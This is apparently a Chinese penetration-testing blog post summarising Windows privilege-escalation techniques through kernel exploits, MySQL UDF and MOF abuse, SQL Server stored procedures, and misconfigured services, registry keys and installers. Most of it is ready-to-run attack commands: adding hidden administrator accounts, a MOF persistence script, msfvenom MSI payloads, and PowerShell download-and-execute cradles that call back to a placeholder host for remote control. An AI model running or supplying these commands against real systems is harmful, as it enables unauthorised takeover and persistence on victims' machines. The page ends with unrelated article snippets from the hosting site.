<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Windows提權總結(1)——數據庫與系統漏洞

    VSole2021-12-17 08:36:22

    Windows提權總結(1)——數據庫與系統漏洞

    在內網滲透中,由于系統對服務的權限設置,攻擊者不一定能通過外網服務直接獲取系統的最高權限,假如我們拿到的只是普通權限,在后續進行橫向移動的行動中會比較艱難,所以我們需要通過一定手段讓自己的權限提升為系統最高權限,進一步擴大攻擊效果。Windows系統提權常見手段有內核漏洞提權、數據庫提權、繞過UAC提權等等。本文針對Windows常見的提權方法進行總結,文章不足之處還請各位指正。

    0x01 內核漏洞提權

    Github上windows系統溢出漏洞提權的匯總:

    https://github.com/SecWiki/windows-kernel-exploits

    內核漏洞檢測工具——Windows-Exploit-Suggester

    其主要功能是通過比對systeminfo生成的文件,比對KB編號,從而發現系統是否存在未修復漏洞。

    https://github.com/AonCyberLabs/Windows-Exploit-Suggester

    使用:

    更新數據庫

    python2 ./windows-exploit-suggester.py --update
    

    安裝依賴 xlrd

    python2 -m pip install xlrd --upgrade
    

    這里要注意,最近 xlrd 更新到了2.0.1版本,只支持.xls文件,與我們生成的數據庫xlsx文件有沖突。

    所以安裝舊版 xlrd

    python2 -m pip uninstall xlrd
    python2 -m pip install xlrd==1.2.0
    

    將利用的Windows機的SystemInfo打印到1.txt,執行以下命令

    python2 ./windows-exploit-suggester.py --database ./2021-12-09-mssb.xls --systeminfo ./1.txt
    

    利用給出的鏈接下載POC并提權

    0x02 數據庫提權

    2.1 MYSQL提權

    2.1.1 UDF提權

    UDF (user defined function),即用戶自定義函數。通過添加類似于命令執行的新函數,執行任意命令

    提權條件

    • 有mysql的root權限以及secure_file_priv的值為空
    • mysql5.1以上有寫lib/plugin目錄權限

    提權原理:利用了root 高權限,創建帶有調用cmd的函數的udf.dll動態鏈接庫

    Step1:查看 secure_file_priv 的值

    show global variables like 'secure%';
    

    如果 secure_file_priv的值為NULL,則無法導入文件,也就無法提權。

    secure_file_priv 的值不能通過set改變,需要在mysql配置文件my.ini中添加/修改

    secure_file_priv=''
    

    如果 secure_file_priv沒有具體的值,則可以寫入導出文件。

    導入/導出成功

    Step2:查看plugin的值

    select Host,user,plugin from mysql.user where user = substring_index(user(),'@',1);
    

    plugin值為 mysql_native_password 時可通過賬戶連接提權

    Step3:查看系統架構以及plugin目錄

    show variables like '%compile%';             #查看主機版本及架構
    show variables like 'plugin%';               #查看 plugin 目錄
    

    64位

    E:\phpStudy_64\phpstudy_pro\Extensions\MySQL5.7.26\lib\plugin\

    看架構的原因是要確定 udf 用64位還是32位的

    MSF的udf

    cd /usr/share/metasploit-framework/data/exploits/mysql/
    

    將對應的dll下載

    Step4:dll文件寫入plugin目錄,并且創建函數(如果沒有"./mysql/lib/plugin/"這個目錄,需要自行創建)

    將整個DLL文件以十六進制編碼后寫入磁盤。

    select 'It is dll' into dumpfile 'E:\\phpStudy_64\\phpstudy_pro\\Extensions\\MySQL5.7.26\\lib::$INDEX_ALLOCATION';
    select 'It is dll' into dumpfile 'E:\\phpStudy_64\\phpstudy_pro\\Extensions\\MySQL5.7.26\\lib\\plugin::$INDEX_ALLOCATION';(寫目錄,其實大部分時候是沒有寫權限的)
    select hex(load_file('E:\\files\\udf\\udf64.dll')) into dumpfile '.\udf.hex';
    select [十六進制值] into dumpfile   "E:\\phpStudy_64\\phpstudy_pro\\Extensions\\MySQL5.7.26\\lib\\plugin\\udf64.dll";
    

    創建命令執行函數

    create function sys_exec returns int soname 'udf64.dll';
    create function sys_eval returns int soname 'udf64.dll';
    create function sys_get returns int soname 'udf64.dll';
    

    結果如下

    添加管理員組用戶

    我們也可以直接傳UDF木馬

    連接數據庫后,可以快速提權

    2.1.2 MOF提權

    提權條件

    • 操作系統版本低于 win2008
    • 有mysql的root權限以及secure_file_priv的值為空

    提權原理:在windows平臺下,c:/windows/system32/wbem/mof/nullevt.mof 這個文件會每間隔一段時間(很短暫)就會以system權限執行一次,所以,只要我們將我們先要做的事通過代碼存儲到這個mof文件中,就可以實現權限提升。

    啟動項提權:將后面腳本上傳到系統啟動目錄,當服務器重啟就會自動執行該腳本,從而獲取系統權限。

    test.mof文件代碼如下:

    #pragma namespace("\\\\.\\root\\subscription") 
    instance of __EventFilter as $EventFilter 
    { 
        EventNamespace = "Root\\Cimv2"; 
        Name  = "filtP2"; 
        Query = "Select * From __InstanceModificationEvent " 
                "Where TargetInstance Isa \"Win32_LocalTime\" " 
                "And TargetInstance.Second = 5"; 
        QueryLanguage = "WQL"; 
    }; 
    instance of ActiveScriptEventConsumer as $Consumer 
    { 
        Name = "consPCSV2"; 
        ScriptingEngine = "JScript"; 
        ScriptText = 
        "var WSH = new ActiveXObject(\"WScript.Shell\")WSH.run(\"net.exe user admin admin /add\")"; 
    }; 
    instance of __FilterToConsumerBinding 
    { 
        Consumer   = $Consumer; 
        Filter = $EventFilter; 
    }; 
    

    此代碼的含義是添加一條命令去執行,在admin用戶組添加admin用戶

    執行:

    select load_file(“C:/test.mof”) into dumpfile “c:/windows/system32/wbem/mof/nullevt.mof”
    

    成功執行

    2.1.3 啟動項提權

    提權條件

    • 操作系統版本低于 win2008
    • 有mysql的root權限以及secure_file_priv的值為空

    提權原理:將腳本文件添加到系統啟動項目錄命令執行

    將代碼保存保存成 add_user.bat文件

    @echo
    net user dodo dodo /add
    

    導入至系統啟動項目錄

    select load_file(’C:add_user.bat’) into dumpfile ‘該系統的啟動項目錄’;
    

    2.2 SQL Server提權

    提權原理

    SQL Server的存儲過程是一個可編程函數,它為數據庫提供了強大的功能,但在相應的權限下,攻擊者可以利用不同的存儲過程執行不同的高級功能,如:創建數據庫用戶、枚舉文件目錄、執行任意系統命令等。

    存儲過程分為系統存儲過程、擴展存儲過程、用戶自定義的存儲過程:

    1. 系統存儲過程主要存儲在master數據庫中,以 "sp_" 為前綴,在任何數據庫中都可以調用,在調用的時候不必在存儲過程前加上數據庫名;
    2. 擴展存儲過程則是對 DLL 函數的調用,主要是用于客戶端與服務器端或客戶端之間進行通信的,以 "xp_" 為前綴,使用方法與系統存儲過程類似;
    3. 用戶定義的存儲過程是 SQL Server 的使用者編寫的存儲過程;

    查看數據庫中是否有對應的存儲過程:

    select count(*) from master.dbo.sysobjects where xtype='x' and name='sp_oacreate';
    

    若返回結果為1,則說明已開啟

    2.2.1 XP_CMDSHELL提權

    xp_cmdshell就是其中一個擴展存儲過程

    提權條件

    • sql server是system權限

    開啟xp_cmdshell

    EXEC master..sp_configure 'show advanced options', 1;RECONFIGURE;
    EXEC master..sp_configure 'xp_cmdshell', 1;RECONFIGURE;
    

    關閉xp_cmdshell只需把 xp_cmdshell的值設為0即可

    EXEC master..sp_configure 'xp_cmdshell', 0;RECONFIGURE;
    

    執行命令提權

    Exec master.dbo.xp_cmdshell 'whoami';
    Exec master.dbo.xp_cmdshell "net user 0xL4k1d 0xL4k1d /add";
    Exec master.dbo.xp_cmdshell "net localgroup administrators 0xL4k1d /add";
    

    2.2.2 SP_OACREATE提權

    在xp_cmdshell被刪除或者出錯情況下,可以充分利用SP_OACreate進行提權

    提權條件

    • sql server是system權限

    開啟SP_OACREATE

    EXEC sp_configure 'show advanced options', 1;
    RECONFIGURE WITH OVERRIDE;
    EXEC sp_configure 'Ole Automation Procedures', 1;
    RECONFIGURE WITH OVERRIDE;   
    EXEC sp_configure 'show advanced options', 0;
    

    執行系統命令CS上線

    執行時無回顯

    DECLARE@shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD@shell,'run',null, '%systemroot%\system32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(''http://ip:port/a''))"'--
    

    2.2.3 沙盒提權

    提權條件

    • sql server是system權限

    這種提權是利用access的沙盒機制,關閉沙盒之后執行代碼。

    關閉沙盒模式

    exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;
    
    沙盒模式SandBoxMode參數含義(默認是2)    0:在任何所有者中禁止啟用安全模式    1 :為僅在允許范圍內    2 :必須在access模式下    3:完全開啟

    執行命令提權

    select * from OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb',
    'select shell("net user 0xL4k1d 0xL4k1d /add&net localgroup administrators 0xL4k1d /add")');
    

    注:在SQL Server 2005中默認禁用Ad Hoc Distributed,不開啟執行命令會報錯。

    Exec sp_configure 'show advanced options',1;
    RECONFIGURE;
    Exec sp_configure 'Ad Hoc Distributed Queries',1;
    RECONFIGURE;
    

    2.2.4 AGENT JOB提權

    提權條件

    • sql server是system權限

    提權原理

    創建一個任務x,并執行命令(無回顯),結果寫到一個文檔中

    首先需要啟動 SQL Server AGENT 服務

    exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'
    

    創建任務并執行命令

    use msdb
    exec dbo.sp_delete_job null,'x'
    exec sp_add_job 'x'
    exec sp_add_jobstep null,'x',null,'1','cmdexec','cmd /c "net user 0xL4k1d 0xL4k1d /add &net localgroup administrators 0xL4k1d /add>c:/q.txt"'
    exec dbo.sp_add_jobserver null,'x',@@servername
    exec dbo.sp_start_job 'x';
    

    CS上線

    use msdb; 
    exec dbo.sp_add_job @job_name = N'test_powershell_job1' ; 
    exec sp_add_jobstep @job_name = N'test_powershell_job1', @step_name = N'test_powershell_name1', @subsystem = N'PowerShell', @command = N'powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(''http://ip:port/a''))"', @retry_attempts = 1, @retry_interval = 5 ;
    exec dbo.sp_add_jobserver @job_name = N'test_powershell_job1'; 
    exec dbo.sp_start_job N'test_powershell_job1';
    

    0x03 系統權限配置錯誤提權

    系統權限配置錯誤,導致低權限用戶對高權限運行的文件擁有寫入權限,那么低權限用戶就可以替換成惡意后門文件,獲取系統權限。

    3.1 系統服務權限配置錯誤

    一般在啟動項、計劃任務中會伴隨著一些高權服務,若某些服務存在一些漏洞,那么就能夠借此服務進行提權和權維

    如果有可以完全控制的服務,我們可以將該服務的BINARY_PATH_NAME修改成任何命令或者后門進行提權

    以下工具可以自動化檢測利用:

    • Powershell中的PowerUp腳本
    • https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1
    • MSF的service_permissions(需要普通session)
    use exploit/windows/local/service_permissions
    

    3.2 計劃任務提權

    如果高權限計劃任務的目錄具有寫權限,就可以把目標程序替換成我們的惡意程序進行提權

    查詢計劃任務

    schtasks /query /fo LIST /v
    

    查看權限配置

    accesschk.exe -dqv "D:\test" -accepteula
    

    時間一到自動執行,就能高權限上線了

    3.2 可信任服務路徑漏洞

    如果一個服務的可執行文件的路徑沒有被雙引號引起來且包含空格,那么這個服務就是有漏洞的

    假設服務路徑是:

    C:\Program Files(x86)\Common Files\CloudMusic\CloudMusic\cloudmusic.exe
    

    那他就是有漏洞的

    由于沒有雙引號的包裹,Windows會認為C:\Program空格后面的東西都是他的參數

    我們利用的話就可以生成一個后門Program.exe放在C:\下,等下次該服務啟動時后門就會被執行

    搜集路徑漏洞服務

    wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """
    

    查看是否為自啟動

    sc qc [服務名稱]
    

    MSF攻擊模塊(需要session)

    #msf檢測攻擊模塊
    use exploit/windows/local/unquoted_service_path
    #正常接收到會話后,不久就會自動斷開連接,需要開啟命令自動遷移進程
    set AutoRunScript migrate -f
    

    3.3 不安全的注冊表權限配置

    這個可以配合上一個漏洞,如果低權限用戶對程序路徑所對應的鍵值有寫權限,將路徑簡直寫成沒有被雙引號引起來且包含空格的路徑,那么接下來就可以參照上面的方法提權

    # 存儲Windows服務有關的信息
    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services
    # 服務對應的程序路徑存儲
    HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Vulnerable Service\服務名\ImagePath
    

    3.4 AlwaysInstallElevated

    適用windows 7/8、03/08、12/16

    AlwaysInstallElevated是一個策略設置項。如果開啟,則允許低權限用戶以System權限運行安裝文件,通過安裝惡意的MSI(不是那種捆綁的MSI,是將腳本嵌套在里面的MSI)文件進行提權

    在注冊表中識別

    [HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer] “AlwaysInstallElevated”=dword:00000001
    [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] “AlwaysInstallElevated”=dword:00000001
    

    reg query命令查詢是否存在漏洞

    reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
    

    如果沒有漏洞會顯示

    錯誤: 系統找不到指定的注冊表項或值。
    

    如果存在漏洞則會顯示

    HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer AlwaysInstallElevated REG_DWORD 0x1 
    

    生成惡意MSI

    msfvenom -p windows/exec CMD=cmd.exe -f msi -o cmd.msi
    

    安裝cmd.msi

    msiexec /quiet /qn /i C:\cmd.msi
    
    /quiet 安裝過程中禁止向用戶發送消息    /qn 不使用GUI

    MSF攻擊模塊(需要普通Session)

    exploit/windows/local/always_install_elevated
    

    3.5 at本地命令提權

    適用Windows2000/2003、XP

    at 命令默認SYSTEM權限執行命令

    at 11:00am /interactive cmd.exe
    

    得到這個system的cmd,然后kill掉explore進程,再使用任務管理器新建explore進程,將會得到一個system的桌面環境

    3.6 sc本地命令提權

    適用windows 7/8、03/08、12/16

    SC 命令是 Windows 系統中功能強大的 DOS 命令, SC 命令能與“服務控制器”和已安裝設備進行通訊。SC 是用于與服務控制管理器和服務進行通信的命令行程序。

    創建任務systemcmd

    sc Create systemcmd binPath= "cmd /K start" type= own type= interact
    

    開啟任務

    sc start systemcmd
    

    就會拿到一個system的cmd

    然后和at提權的后續做法相同,此時的任務管理器是system權限,然后kill掉explore 進程,再使用任務管理器新建explore進程,將會得到一個system的桌面環境

    數據庫文件存儲過程
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    亟需運用密碼技術構建數據安全防護體系,維護數據的完整性、保密性和可用性,保障我國數字經濟健康發展。2021 年 9 月 1 日施行的《中華人民共和國數據安全法》明確指出,需采取必要措施確保數據處于有效保護和合法利用的狀態,以及具備保障持續安全狀態的能力 。數據安全已成為總體國家安全觀的重要組成部分,采用密碼技術保障數據安全是數據存儲保護的必然趨勢。
    2022年1月,國務院印發《“十四五”數字經濟發展規劃》(以下簡稱“規劃”),明確了“十四五”時期推動數字經濟健康發展的指導思想、基本原則、發展目標、重點任務和保障措施。規劃指出,數字經濟是繼農業經濟、工業經濟之后的主要經濟形態,是以數據資源為關鍵要素,以現代信息網絡為主要載體,以信息通信技術融合應用、全要素數字化轉型為重要推動力,促進公平與效率更加統一的新經濟形態。
    由于低權限用戶無法執行太多操作,可以利用反彈上傳Churrasco.exe,后續可以利用它來做提權。輸入net user指令查看是否添加成功,最后提權成功。linux系統提權思路linux基礎信息收集uname -a 顯示全部系統信息cat /etc/issue 內核信息。
    MSSQL注入和漏洞利用姿勢總結
    基礎介紹Microsoft SQL Server 是微軟開發的關系型數據庫管理系統。作為數據庫服務器,它是一種軟件產品,主要功能是根據其他軟件應用程序的請求存儲和檢索數據,這些應用程序可以在同一臺計算機上運行,也可以在網絡上的另一臺計算機上運行。SQL Server 默認開放的端口是 TCP 1433。判斷數據庫類型/*?數據庫中獨有的數據表,如果頁面返回正常即可表示為?為便于管理數據庫中的權限,SQL Server 提供了若干角色,這些角色是用于對其他主體進行分組的安全主體。
    數據庫注入提權總結
    2022-08-09 16:49:49
    select * from test where id=1 and ;布爾盲注常見的布爾盲注場景有兩種,一是返回值只有True或False的類型,二是Order by盲注。查詢結果正確,則延遲3秒,錯誤則無延時。笛卡爾積延時大約也是3秒HTTP頭注入注入手法和上述相差不多,就是注入點發生了變化HTTP分割注入常見場景,登錄處SQL語句如下
    在滲透測試的過程中,我們可以通過常見的漏洞來獲取shell,我們獲取到的shell通常是各個公司對外開放的網站以及APP應用等屬于外網(可以通過計算機直接訪問),如果我們想要獲取該公司內部的一些內部信息就要進入該公司的內部網絡(內網)本文將會對內網進行簡單介紹并且搭建一個簡單地內部網絡環境,來熟悉了解什么是內網。
    隨著數據躍升為新型生產要素,數據安全的內涵也從數據本身安全、數據資源安全,發展到數據資產安全。通過對數據安全不同發展階段的安全需求和保障對象進行研究,基于密碼技術提出涵蓋數據本身安全、數據資源安全、數據資產安全 3 個層面的密碼保障技術體系,綜合分析該體系所采用的主流密碼技術,并提煉面向數據要素安全的密碼服務保障能力體系,從而為數據要素市場安全發展提供密碼技術應用指導,支撐數據要素作用的發揮。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类